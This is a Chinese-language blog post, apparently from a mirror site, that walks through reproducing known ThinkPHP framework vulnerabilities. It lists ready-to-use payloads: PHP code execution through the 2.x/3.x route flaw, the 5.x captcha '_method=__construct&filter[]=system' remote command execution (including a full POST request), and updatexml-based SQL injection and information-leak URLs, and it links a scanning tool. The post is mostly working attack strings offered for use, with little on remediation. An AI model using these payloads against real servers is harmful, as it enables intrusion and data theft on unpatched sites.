ThinkPHP框架漏洞 远程代码执行/SQL注入/信息泄露复现(附检测工具)
linux-dash
A beautiful web dashboard for Linux
项目地址:https://gitcode.com/gh_mirrors/li/linux-dash
免费下载资源
·
0x00 thinkphp简介
ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展。
0x01 ThinkPHP 2.x 3.x 任意代码执行
ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由,
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞,ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
payload:/index.php?s=/index/index/name/$%7B@phpinfo()%7D
0x02 Thinkphp5 5.0.22/5.1.29 远程代码执行
漏洞位置:/index.php?s=captcha
payload:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
0x03 ThinkPHP5 5.0.23远程代码执行
POC:post请求
POST /index.php?s=captcha HTTP/1.1
Host: 192.168.222.134:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
0X04 ThinkPHP5 SQL注入漏洞/信息泄露
信息泄露payload:/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
sql注入payload:/index.php?ids[0,updatexml(0,concat(0xa,@@version),0)]=1
ThinkPHP 检测工具:https://github.com/Lucifer1993/TPscan
GitHub 加速计划 / li / linux-dash
10.39 K
1.2 K
下载
A beautiful web dashboard for Linux
最近提交(Master分支:2 个月前 )
186a802e
added ecosystem file for PM2 4 年前
5def40a3
Add host customization support for the NodeJS version 4 年前
更多推荐
已为社区贡献4条内容
所有评论(0)